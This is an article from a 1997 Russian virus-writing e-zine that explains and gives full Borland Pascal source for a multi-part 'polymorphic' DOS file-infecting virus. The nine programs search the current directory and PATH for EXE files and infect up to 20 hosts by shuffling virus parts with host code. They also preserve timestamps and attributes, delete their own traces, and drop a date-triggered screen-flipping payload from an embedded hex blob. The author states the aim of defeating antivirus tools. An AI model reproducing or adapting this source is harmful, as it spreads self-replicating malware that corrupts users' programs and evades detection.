[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 2, May 1997                                           file 007


                            ПОЛИМОРФИКИ НА ПАСКАЛЕ
                                                   by RedArc

     Вот  мы  рассмотрели  вирусы  HLLO,  HLLC, HLLP на языках Pascal и Basic.
Теперь  Вы  можете заметить мне, что возможности по изменению исходного кода у
таких вирусов практически нет. В общем то я с вами согласен, но...
     Но все гениальное просто!
     Что   такое   полиморфный  вирус?  Вирус,  меняющий  свой  код  так,  что
практически  не  имеет  постоянных  участков  кода. Что такое вирус последнего
уровня  полиморфности?  Это вирус - "тосующий" участки своего кода. Короче, на
языках  высокого  уровня  возможно  создание  не просто полиморфных вирусов, а
вирусов  последнего  (наивысшего)  уровня  полиморфизма! И выглядеть это может
примерно так:
           [Menager]+[PartII]+[PartI]+[PartIII]+...+[PartN]+Program
Сразу возникает несколько вопросов:
 - а как определить где какая часть расположена и как это все собрать?
 - а нафига это все нужно, если антивирус это все вылечит не моргнув глазом?
Давайте по порядку...
     Для  того,  чтобы  определить,  где  какая  часть  находится,  достаточно
составить  таблицу  расположения и длин участков, по которой можно будет вирус
восстановить,  и,  засунуть  эту  таблицу  в  любое  место,  к примеру в конец
программы  (после  истинного начала). Есть и другие варианты, одним из которых
мы  и  воспользуемся - наши части будут сами сообщать менеджеру о том, как она
называется и свой размер.
     Для  того,  чтобы  усложнить  до  максимума  процедуру изучения и лечения
вируса  (ответ на второй вопрос) нужно использовать операторы-мусор. Мусором в
нашем случае лучше всего может послужить код заражаемой программы, т.е.:
[Menager]+[Up0]+[PartIII]+[UpIII]+[PartI]+[UpI]+[ProgPartII]+...+[Program]
     Размеры  участков  кода-мусора  можно  выбирать  случайным  образом и это
фиксировать  в  любом  месте.  Для  простоты  мы  будем использовать в качеств
размера  кусков мусора размеры самих частей вируса. Сами же куски мусора можно
шифровать  для  каждой  части вируса разными алгоритмами, да и типы алгоритмов
шифрации  могут  быть  различными для одной части вируса в зависимости хоть от
менструального  цикла виноградной улитки... ;) Мне даже становится интересным,
на  сколько  разрастется наш любимый DrWeb, когда Данилов решиться отлавливать
таких  зверушек! Но это еще не так интересно... Немного погодя вы доползете до
следующего раздела, вот где задница то для антивирусов! ;)
     Ладно,  пора  переходить  от  слов  к делу... Короче смотрите: полиморфик
последнего уровня полиморфности на языке Borland Pascal...
     Состоит из 9 частей, при этом первая часть всегда располагается на первом
месте,  следовательно  вирус  может  принимать  ограниченное  число комбинаций
полиморфности  (разумеется, это сделано исключительно для примера). Так же для
простоты примера шифровать мусор не будем. В качестве эффекта вирус использует
программу  "переворота"  экрана.  Инфицированный этим вирусом файл находится в
каталоге APPENDIX.VIR с именем HLLM_PAS.EXE

=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Выкусывание частей из файла, выкусывание частей начала проги
}
PROGRAM PARTI;

USES DOS;

CONST
     AllePart = 9;   {Количество частей вируса}
     MySize   = 5120; {Длина этой части}
VAR
   S     : String;
   T     : Text;
   W     : Word;
   F, F1 : File;
   I : Byte;

PROCEDURE CALK (Name, Name1 : String; Size : Word);
VAR
   P      : Pointer;
   Count  : Word;
   Count1 : Word;
   L      : LongInt;
   A      : Word;
   D1, D2 : LongInt;
BEGIN
     Assign (F, Name);
     GetFAttr (F, A);
     SetFAttr (F, Archive);
     FileMode := 2;
     ReSet (F, 1);
     GetFTime (F, L);
     Assign (F1, Name1);
     ReWrite (F1, 1);
     GetMem (P, Size);
     BlockRead (F, P^, Size, Count);
     BlockWrite (F1, P^, Size, Count);
     Close (F1);
     SetFAttr (F1, ReadOnly);
     Assign (F1, 'BUILD.SWP');
     FileMode := 2;
     ReSet (F1, 1);
     IF IOResult <> 0 THEN ReWrite (F1, 1) ELSE Seek (F1, FileSize (F1));
     BlockRead (F, P^, Size, Count);
     BlockWrite (F1, P^, Size, Count);
     D2 := FilePos (F);
     D1 := 0;
     FreeMem (P, Size);
     GetMem (P, 65530);
     WHILE D2 < FileSize (F) DO BEGIN
           Seek (F, D2);
           BlockRead (F, P^, 65500, Count);
           D2 := FilePos (F);
           Seek (F, D1);
           BlockWrite (F, P^, Count, Count1);
           D1 := FilePos (F);
     END;
     Truncate (F);
     FreeMem (P, 65530);
     Close (F1);
     SetFTime (F, L);
     Close (F);
     SetFAttr (F, A);
END;

PROCEDURE GetCommand;
VAR
   I : Byte;
BEGIN
     IF ParamCount > 0 THEN BEGIN
        S := '';
        FOR I := 1 TO ParamCount DO
            S := S + ParamStr (I) + ' ';
     END ELSE S := '';
     Assign (T, 'PARAM.SWP');
     ReWrite (T);
     WriteLn (T, ParamStr (0));
     WriteLn (T, S);
     Close (T);
END;

PROCEDURE ExecFile (FileName, Param : String);
BEGIN
     SwapVectors;
     Exec (FileName, Param);
     SwapVectors;
END;

PROCEDURE Work;
BEGIN
     ExecFile ('PARAMV.EXE', '');
     ExecFile ('PARAMVI.EXE', '');
     ExecFile ('PARAMVII.EXE', '');
     ExecFile ('PARAMV_.EXE', '');
     Assign (T, 'PARAM.SWP');
     Erase (T);
     ExecFile ('PARAMIX.EXE', '');
END;

BEGIN
     GetCommand;
     CALK (ParamStr (0), 'PARAMI.EXE', MySize);
     FOR I := 1 TO AllePart-1 DO BEGIN
         ExecFile (ParamStr (0), '@#$%');
         Assign (T, 'Exchange.swp');
         ReSet (T);
         ReadLn (T, S);
         ReadLn (T, W);
         Close (T);
         Erase (T);
         CALK (ParamStr (0), S, W);
     END;
     ExecFile ('PARAMII.EXE', 'banzai');
     Work;
END.
=== Cut ===

=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Восстановление программы-носителя и ее запуск на исполнение
}
PROGRAM PARTII;

USES DOS;

CONST
     MyName = 'PARAMII.EXE';
     MySize = 4643;

VAR
   S     : String;
   S1    : String;
   I     : Byte;
   T     : Text;
   F, F1 : File;

PROCEDURE ExecFile (FileName, Param : String);
BEGIN
     SwapVectors;
     Exec (FileName, Param);
     SwapVectors;
END;

PROCEDURE BANZAI;
VAR
   L : LongInt;
   A : Word;
   Count, Count1 : Word;
   P : Pointer;
BEGIN
     Assign (T, 'PARAM.SWP');
     ReSet (T);
     ReadLn (T, S);
     ReadLn (T, S1);
     Close (T);
     FileMode := 2;
     Assign (F, S);
     Assign (F1, 'BUILD.SWP');
     GetFAttr (F1, A);
     SetFAttr (F1, Archive);
     ReSet (F1, 1);
     GetFTime (F1, L);
     Seek (F1, FileSize (F1));
     ReSet (F, 1);
     GetMem (P, 65530);
     REPEAT
           BlockRead (F, P^, 65500, Count);
           BlockWrite (F1, P^, Count, Count1);
     UNTIL Count <> 65500;
     FreeMem (P, 65530);
     Close (F);
     Erase (F);
     SetFTime (F1, L);
     Close (F1);
     SetFAttr (F1, A);
     Rename (F1, S);
END;

BEGIN
     IF ParamStr (1) = '@#$%' THEN BEGIN
        Assign (T, 'Exchange.swp');
        ReWrite (T);
        WriteLn (T, MyName);
        WriteLn (T, MySize);
        Close (T);
     END ELSE BEGIN
         BANZAI;
         ExecFile (S, S1);
     END;
END.
=== Cut ===

=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Получение атрибута файла
}
PROGRAM PARTIII;

USES DOS;

CONST
     MyName = 'PARAMIII.EXE';
     MySize = 3376;
VAR
   F : File;
   T : Text;
   L : LongInt;
   W : Word;

PROCEDURE GetTimeAttr;
BEGIN
     Assign (F, ParamStr (1));
     GetFAttr (F, W);
     FileMode := 0;
     ReSet (F);
     GetFTime (F, L);
     Close (F);
     Assign (T, 'TimeAttr.swp');
     ReWrite (T);
     WriteLn (T, W);
     WriteLn (T, L);
     Close (T);
END;

BEGIN
     IF ParamStr (1) = '@#$%' THEN BEGIN
        Assign (T, 'Exchange.swp');
        ReWrite (T);
        WriteLn (T, MyName);
        WriteLn (T, MySize);
        Close (T);
     END ELSE GetTimeAttr;
END.
=== Cut ===

=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Установление атрибута файла
}
PROGRAM PARTIV;

USES DOS;

CONST
     MyName = 'PARAMIV.EXE';
     MySize = 3392;
VAR
   F : File;
   T : Text;
   L : LongInt;
   W : Word;

PROCEDURE SetTimeAttr;
BEGIN
     Assign (T, 'TimeAttr.swp');
     ReSet (T);
     ReadLn (T, W);
     ReadLn (T, L);
     Close (T);
     Assign (F, ParamStr (1));
     FileMode := 2;
     ReSet (F,1);
     SetFTime (F, L);
     Close (F);
     SetFAttr (F, W);
END;

BEGIN
     IF ParamStr (1) = '@#$%' THEN BEGIN
        Assign (T, 'Exchange.swp');
        ReWrite (T);
        WriteLn (T, MyName);
        WriteLn (T, MySize);
        Close (T);
     END ELSE SetTimeAttr;
END.
=== Cut ===

=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Поиск файлов в текущем каталоге и по PATH
}
PROGRAM PARTV;

USES DOS;

CONST
     MyName = 'PARAMV.EXE';
     MySize = 4135;
     Ident = 'MooN_BuG // Polymorphic.Pascal';
     MinLength = 60*1024; {Минимальный размер заражаемого файла}

VAR
   T   : Text;
   Hom : DirStr;
   Nam : NameStr;
   Ext : ExtStr;

PROCEDURE FindFileInCurrentDir (Dir : String; Flag : Boolean);
VAR
   SR : SearchRec;
BEGIN
     Assign (T, 'FileAll.SWP');
     IF Flag THEN
     ReWrite (T)
     ELSE Append (T);
     FindFirst (DIR + '\*.EXE', Archive, SR);
     While DosError = 0 Do Begin
           IF SR.Size > MinLength THEN BEGIN
              WriteLn (T,Dir+'\'+SR.Name);
           END;
            FindNext (SR);
     End;
     Close (T);
END;

PROCEDURE FindFileFromPATH;
VAR
   PS : String;
   S : String;
   Ch : Char;
   I : Byte;
BEGIN
   PS := GetEnv ('PATH');
   S := '';
   I := 1;
   REPEAT
         IF I >= Length (PS)+1 THEN BEGIN
            IF S <> '' THEN BEGIN
               IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
               ChDir (S);
               IF IOResult = 0 THEN BEGIN
                  ChDir (Hom);
                  FindFileInCurrentDir (S, False);
               END;
            END;
            Break;
         END;
         Ch := PS [I];
         Inc (I);
         IF Ch <> ';' THEN S := S + Ch ELSE BEGIN
            IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
            ChDir (S);
            IF IOResult <> 0 THEN BEGIN
               WriteLn (Ident); {Сообщение идентификационной информации}
               S := '';
               Continue;
            END;
            ChDir (Hom);
            FindFileInCurrentDir (S, False);
            S := '';
         END;
   UNTIL False;
   ChDir (Hom);
END;

PROCEDURE FindFileAll;
BEGIN
     FSplit (FExpand (ParamStr(0)), Hom, Nam, Ext);
     IF Hom[Length(Hom)] = '\' THEN Delete (Hom, Length (Hom), 1);
     FindFileInCurrentDir (Hom, True);
     FindFileFromPATH;
END;

BEGIN
     IF ParamStr (1) = '@#$%' THEN BEGIN
        Assign (T, 'Exchange.swp');
        ReWrite (T);
        WriteLn (T, MyName);
        WriteLn (T, MySize);
        Close (T);
     END ELSE FindFileAll;
END.
=== Cut ===

=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Проверка файлов на присутствие вируса и отбор максимального количества
файлов, заражаемых за один раз
}
{$I-}
PROGRAM PARTVI;

CONST
     MyName = 'PARAMVI.EXE';
     MySize = 3576;
     MaxCount = 20; {Количество файлов, заражаемых за один раз}
VAR
   F : File;
   T, T1 : Text;
   L, L1 : LongInt;
   W : Word;
   Count : Word;
   B  : Byte;

PROCEDURE TestAllFile;
VAR
   S : String;
   Temp1, Temp2 : Array [1..1024] OF Byte;
   Flag : Boolean;
BEGIN
     Assign (F, 'PARAMI.EXE');
     FileMode := 0;
     ReSet (F, 1024);
     BlockRead (F, Temp1, 1, W);
     Close (F);
     Assign (T, 'FileAll.SWP');
     ReSet (T);
     Assign (T1, 'FileAllP.SWP');
     ReWrite (T1);
     Count := 0;
     WHILE EOF (T) = FALSE DO BEGIN
           ReadLn (T, S);
           Assign (F, S);
           FileMode := 0;
           ReSet (F, 1024);
           BlockRead (F, Temp2, 1, W);
           Close (F);
           Flag := False;
           FOR W := 1 TO SizeOf (Temp1) DO
               IF Temp1 [W] <> Temp2 [W] THEN BEGIN
                  Flag := True;
                  Break;
               END;
           IF Flag THEN BEGIN
              WriteLn (T1, S);
              Count := Count + 1;
              IF Count > MaxCount THEN Break;
           END;
     END;
     Close (T);
     Erase (T);
     Close (T1);
     Rename (T1, 'FileAll.SWP');
END;

BEGIN
     IF ParamStr (1) = '@#$%' THEN BEGIN
        Assign (T, 'Exchange.swp');
        ReWrite (T);
        WriteLn (T, MyName);
        WriteLn (T, MySize);
        Close (T);
     END ELSE TestAllFile;
END.
=== Cut ===

=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Инфицирование программ
}
PROGRAM PARTVII;

USES DOS;

CONST
     MyName = 'PARAMVII.EXE';
     MySize = 5063;
     Names : Array [1..9] OF String [12] =
             ('PARAMI.EXE', 'PARAMII.EXE', 'PARAMIII.EXE', 'PARAMIV.EXE',
              'PARAMV.EXE', 'PARAMVI.EXE', 'PARAMVII.EXE', 'PARAMV_.EXE',
              'PARAMIX.EXE');
     Lengt : Array [1..9] OF Word =
             (5120, 4643, 3376, 3392, 4135, 3576, MySize, 3430, 3983);
     Flags : Array [1..9] OF Boolean =
              (False, False, False, False, False, False, False, False, False);

VAR
   T : Text;
   F, F1, F2 : File;
   W : Word;
   L : LongInt;
   A, B : Word;

PROCEDURE ExecFile (FileName, Param : String);
BEGIN
     SwapVectors;
     Exec (FileName, Param);
     SwapVectors;
END;

PROCEDURE CalculateBuild (S : String);
VAR
   I, J : Byte;
   P : Pointer;
BEGIN
     Randomize;
     Assign (F, 'Build.swp');
     ReWrite (F, 1);
     GetMem (P, 65530);
     I := 1;
     J := 0;
     REPEAT
           Flags [I] := True;
           Assign (F2, Names [I]);
           FileMode := 0;
           ReSet (F2, 1);
           BlockRead (F2, P^, Lengt [I], A);
           BlockWrite (F, P^, A, B);
           Close (F2);
           BlockRead (F1, P^, Lengt [I], A);
           BlockWrite (F, P^, A, B);
           J := J + 1;
           IF J >= 9 THEN Break;
           IF J = 8 THEN BEGIN
              I := 1;
              WHILE Flags [I] = True DO I := I + 1;
           END ELSE BEGIN
               WHILE Flags [I] = True DO I := 1 + Random (9);
           END;
     UNTIL False;
     REPEAT
          BlockRead (F1, P^, 65500, A);
          BlockWrite (F, P^, A, B);
          IF FilePos (F1) = FileSize (F1) THEN Break;
     UNTIL False;
     Close (F1);
     Erase (F1);
     Close (F);
     Rename (F, S);
     FreeMem (P, 65530);
END;

PROCEDURE InfectFromListing;
VAR
   S : String;
BEGIN
     Assign (T, 'FileAll.SWP');
     ReSet (T);
     WHILE EOF (T) = False DO BEGIN
           ReadLn (T, S);
           ExecFile ('PARAMIII.EXE', S);
           Assign (F1, S);
           ReSet (F1, 1);
           CalculateBuild (S);
           ExecFile ('PARAMIV.EXE', S);
           Assign (F2, 'timeattr.swp');
           Erase (F2);
           FOR W := 1 TO 9 DO
               Flags [W] := False;
     END;
     Close (T);
     Erase (T);
END;

BEGIN
     IF ParamStr (1) = '@#$%' THEN BEGIN
        Assign (T, 'Exchange.swp');
        ReWrite (T);
        WriteLn (T, MyName);
        WriteLn (T, MySize);
        Close (T);
     END ELSE InfectFromListing;

END.
=== Cut ===

=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Заметание следов
}
PROGRAM PARTV_;

USES DOS;

CONST
     MyName = 'PARAMV_.EXE';
     MySize = 3430;
     Names : Array [1..9] OF String [12] =
             ('PARAMI.EXE', 'PARAMII.EXE', 'PARAMIII.EXE', 'PARAMIV.EXE',
              'PARAMV.EXE', 'PARAMVI.EXE', 'PARAMVII.EXE', 'PARAMV_.EXE',
              'PARAMIX.EXE');
VAR
   T : Text;

PROCEDURE Killer;
VAR
   F : File;
   I : Byte;
BEGIN
     FOR I := 1 TO 9 DO BEGIN
         Assign (F, Names [I]);
         SetFAttr (F, Archive);
         Erase (F);
     END;
END;

BEGIN
     IF ParamStr (1) = '@#$%' THEN BEGIN
        Assign (T, 'Exchange.swp');
        ReWrite (T);
        WriteLn (T, MyName);
        WriteLn (T, MySize);
        Close (T);
     END ELSE Killer;
END.
=== Cut ===

=== Cut ===
{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,65536,65536}
{
Effect
}
PROGRAM PARTIX;

USES DOS;

CONST
     MyName = 'PARAMIX.EXE';
     MySize = 3983;
     COM_FILE : Array [1..305] OF Byte =
     ($E9,$14,$01,$00,$01,$EB,$00,$50,$53,$51,$52,$1E,$B0,$1D,$2E,$A2,
      $06,$01,$B8,$40,$00,$8E,$D8,$E8,$71,$00,$1F,$5A,$59,$5B,$58,$2E,
      $FF,$2E,$00,$01,$9C,$2E,$FF,$1E,$00,$01,$1E,$06,$50,$B8,$40,$00,
      $8E,$D8,$80,$3E,$49,$00,$03,$77,$4E,$2E,$FE,$0E,$04,$01,$75,$47,
      $FA,$2E,$C6,$06,$04,$01,$01,$51,$52,$56,$57,$8B,$36,$4E,$00,$A1,
      $4A,$00,$8A,$0E,$84,$00,$FE,$C1,$F6,$E1,$8B,$C8,$D1,$E0,$05,$FE,
      $3F,$8B,$F8,$B8,$00,$B8,$8E,$D8,$8E,$C0,$BA,$D4,$03,$B0,$0C,$EE,
      $42,$B0,$20,$EE,$4A,$B0,$0D,$EE,$42,$B0,$00,$EE,$FC,$AD,$FD,$AB,
      $FC,$E2,$FA,$5F,$5E,$5A,$59,$58,$07,$1F,$CF,$56,$E8,$64,$00,$B9,
      $00,$01,$BE,$00,$00,$8B,$16,$85,$00,$4A,$B8,$00,$A0,$8E,$D8,$56,
      $8B,$DE,$03,$DA,$8A,$04,$8A,$27,$D0,$D8,$D0,$D4,$D0,$D8,$D0,$D4,
      $D0,$D8,$D0,$D4,$D0,$D8,$D0,$D4,$D0,$D8,$D0,$D4,$D0,$D8,$D0,$D4,
      $D0,$D8,$D0,$D4,$D0,$D8,$D0,$D4,$D0,$D8,$88,$04,$88,$27,$46,$4B,
      $3B,$F3,$76,$D0,$5E,$83,$C6,$20,$E2,$C5,$E8,$1B,$00,$5E,$C3,$02,
      $04,$04,$07,$05,$00,$06,$04,$04,$02,$02,$03,$04,$03,$05,$10,$06,
      $0E,$04,$00,$BE,$DF,$01,$EB,$03,$BE,$E9,$01,$B9,$02,$00,$BA,$C4,
      $03,$E8,$04,$00,$B1,$03,$B2,$CE,$2E,$8A,$04,$46,$EE,$42,$2E,$8A,
      $04,$46,$EE,$4A,$E2,$F2,$C3,$B8,$08,$35,$CD,$21,$8C,$06,$02,$01,
      $89,$1E,$00,$01,$B8,$08,$25,$BA,$05,$01,$CD,$21,$BA,$17,$02,$CD,
      $27);

VAR
   T : Text;

PROCEDURE ExecFile (FileName, Param : String);
BEGIN
     SwapVectors;
     Exec (FileName, Param);
     SwapVectors;
END;

PROCEDURE Effect;
VAR
   Y, M, D, DOW : Word;
   F : File;
BEGIN
     GetDate (Y, M, D, DOW);
     IF (M <> D) AND (M <> DOW) THEN Exit;
     GetTime (Y, M, D, DOW);
     IF (Y <> M) THEN Exit;
     Assign (F, 'moon_bug.com');
     ReWrite (F, 305);
     BlockWrite (F, COM_FILE, 1, Y);
     Close (F);
     ExecFile ('moon_bug.com', '');
     Assign (F, 'moon_bug.com');
     Erase (F);
END;

BEGIN
     IF ParamStr (1) = '@#$%' THEN BEGIN
        Assign (T, 'Exchange.swp');
        ReWrite (T);
        WriteLn (T, MyName);
        WriteLn (T, MySize);
        Close (T);
     END ELSE Effect;
END.
=== Cut ===